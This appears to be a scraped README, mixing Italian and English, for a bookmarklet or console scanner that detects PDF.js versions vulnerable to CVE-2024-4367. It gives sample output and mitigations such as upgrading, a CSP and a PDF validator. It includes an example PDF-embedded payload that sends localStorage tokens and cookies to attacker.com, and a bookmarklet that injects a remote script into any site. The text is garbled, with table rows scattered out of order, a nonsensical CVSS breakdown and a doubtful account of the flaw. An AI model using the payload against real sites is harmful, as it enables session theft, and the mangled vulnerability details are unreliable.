
Scan endpoint PoC della CVE-2024-4367
⚠️ STRUMENTO DI SICUREZZA CRITICO | Rileva CVE-2024-4367 (CVSS 9.8) - Vulnerabilità di esecuzione remota di codice in PDF.js
Funziona su QUALSIASI sito web - Zero configurazione richiesta
CVE-2024-4367 è una vulnerabilità critica in PDF.js (versioni < 4.2.67) che consente l'esecuzione arbitraria di JavaScript tramite file PDF dannosi. Questo scanner rileva automaticamente le istanze vulnerabili di PDF.js su QUALSIASI sito web.
PDF.js contiene un difetto per cui il JavaScript incorporato nei file PDF viene eseguito senza un adeguato sandboxing, consentendo agli attaccanti di:
F12 per aprire DevToolsEnterCrea un segnalibro con questo URL:
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Open any website and run the script
<embed><object>?pdf=, ?file=, ?src=).pdf┌─────────────────────────────────────────────────────────────┐
│ SCAN PROCESS FLOW │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 📚 LOAD SCRIPTS │
│ ├─ External scripts (all <script src="">) │
│ └─ Inline scripts (all <script> tags) │
│ │
│ 2. 🔍 EXTRACT PDF.JS VERSION │
│ ├─ Pattern matching in code │
│ ├─ Package.json detection │
│ └─ Node_modules path parsing │
│ │
│ 3. 🎯 IDENTIFY VULNERABILITY │
│ ├─ version < 4.2.67 ? → VULNERABLE │
│ └─ version = 2.16.105 ? → VULNERABLE │
│ │
│ 4. 🖼️ LOCATE VIEWERS │
│ ├─ DOM element scanning │
│ └─ Attribute detection │
│ │
│ 5. ⚡ GENERATE POC │
│ ├─ Create test PDF │
│ └─ Provide download link │
│ │
│ 6. 📊 DISPLAY RESULTS │
│ ├─ Visual overlay │
│ ├─ Console report │
│ └─ Global variable storage │
│ │
└─────────────────────────────────────────────────────────────┘
╔═══════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2024-4367 - UNIVERSAL PDF.js SCANNER ║
║ Detects vulnerable PDF.js versions and potential exploitation ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
📚 PHASE 1: Scanning JavaScript Bundles for PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Found 42 external scripts
[+] Found 12 inline scripts
[1/42] Analyzing: vendor.bundle.js
→ PDF.js indicator found: pdfjs-dist
✅ PDF.js version found: 2.16.105
🚨 VULNERABLE to CVE-2024-4367!
🎯 PHASE 4: Identifying Exploitation Vectors
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
⚠️ URL parameter accepts PDF: file=/documents/report.pdf
⚠️ PDF upload form found
█████████████████████████████████████████████████████████████████████████████████
FINAL SCAN REPORT
█████████████████████████████████████████████████████████████████████████████████
🚨 CRITICAL VULNERABILITY CONFIRMED!
CVE: CVE-2024-4367
CVSS: 9.8 (CRITICAL)
Impact: Arbitrary JavaScript Execution
┌─────────────────────────────────────────────────────────────┐
│ CVE-2024-4367 SCAN RESULTS │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 📍 Target: example.com │
│ 📦 PDF.js: 2.16.105 │
│ 🎯 Vulnerable: YES │
│ 📄 Viewers: 3 │
│ ⚡ Vectors: 2 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 🔴 CRITICAL - Upgrade Required │
└─────────────────────────────────────────────────────────────┘
# For Node.js projects
npm install pdfjs-dist@latest
# For CDN usage
# Update to version 4.2.67 or higher
// Set this before loading PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;
Content-Security-Policy: script-src 'self';
object-src 'none';
worker-src 'none'
// Validate PDF files before rendering
function validatePDF(file) {
// Check magic bytes
const header = file.slice(0, 5);
if (header !== '%PDF-') {
throw new Error('Invalid PDF file');
}
// Scan for JavaScript
const text = file.toString();
if (text.includes('/JavaScript') ||
text.includes('/JS') ||
text.includes('<< /S /JavaScript >>')) {
throw new Error('PDF contains JavaScript');
}
}
Parametri URL
/viewer?file=malicious.pdf
/download?pdf=malicious.pdf
Caricamento File
<input type="file" accept=".pdf">
Visualizzatori Incorporati
<embed src="malicious.pdf">
Endpoint API
/api/documents/123/download
/api/report/pdf
// PDF embedded JavaScript
this.alert('CVE-2024-4367 Exploited!');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie
})
});
Installa lo scanner
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
Esegui lo scanner
# Open the target website
# Paste the scanner in console
# Or use the bookmarklet
Analizza i risultati
Scarica il PDF di prova di concetto (se vulnerabile)
Applica le correzioni
| Scenario | Risultato |
|---|---|
| PDF.js 2.16.105 | 🔴 CRITICAL |
| PDF.js 3.x | 🔴 VULNERABLE |
| PDF.js 4.0.x | 🔴 VULNERABLE |
| PDF.js 4.2.67+ |
// Vulnerable versions
const VULNERABLE_VERSIONS = [
{ version: '2.16.105', status: 'CRITICAL' },
{ version: '3.x.x', status: 'CRITICAL' },
{ version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];
// Safe version
const SAFE_VERSION = '4.2.67';
| Data | Evento |
|---|---|
| 2024-04-23 | Vulnerabilità scoperta |
| 2024-04-24 | Assegnato CVE-2024-4367 |
| 2024-04-25 | Patch rilasciata (4.2.67) |
IMPORTANTE: Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi.
- ✅ FAI utilizzarlo sui tuoi siti web
- ✅ FAI utilizzarlo con permesso esplicito
- ✅ FAI utilizzarlo per la ricerca sulla sicurezza
- ❌ NON utilizzarlo su sistemi non autorizzati
- ❌ NON utilizzarlo per scopi dannosi
Gli autori non sono responsabili di qualsiasi uso improprio o danno causato da questo strumento.
I contributi sono benvenuti! Per favore:
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Make your changes
# Test on multiple websites
# Submit PR
Questo progetto è distribuito sotto la licenza MIT - consulta il file LICENSE per i dettagli.
Se trovi utile questo strumento:
🛡️ Resta al Sicuro. Testa Presto. Testa Spesso.
Creato con ❤️ dalla comunità della sicurezza
Segnala un Problema • Metti una Stella su GitHub • Leggi la Documentazione
| Soluzione | Difficoltà | Efficacia |
|---|
| Aggiornare PDF.js | Facile | ✅ Correzione completa |
| Disabilitare JS in PDF.js | Facile | ✅ Correzione completa |
| Implementazione CSP | Media | ✅ Buona |
| Validazione lato server | Media | ✅ Buona |
| Rendering in sandbox | Difficile | ✅ Eccellente |
| ✅ SAFE |
| Nessun PDF.js | ℹ️ SAFE |
| 2024-04-26 | Divulgazione pubblica |
| 2024-05-01 | Osservati tentativi di sfruttamento |
| Componente | Punteggio |
|---|
| Vettore di attacco | Network (9.8) |
| Complessità dell'attacco | Low (9.8) |
| Privilegi richiesti | None (9.8) |
| Interazione dell'utente | Required (8.8) |
| Scope | Changed (9.1) |
| Riservatezza | High (9.8) |
| Integrità | High (9.8) |
| Disponibilità | High (9.8) |
| Totale | 9.8 (CRITICAL) |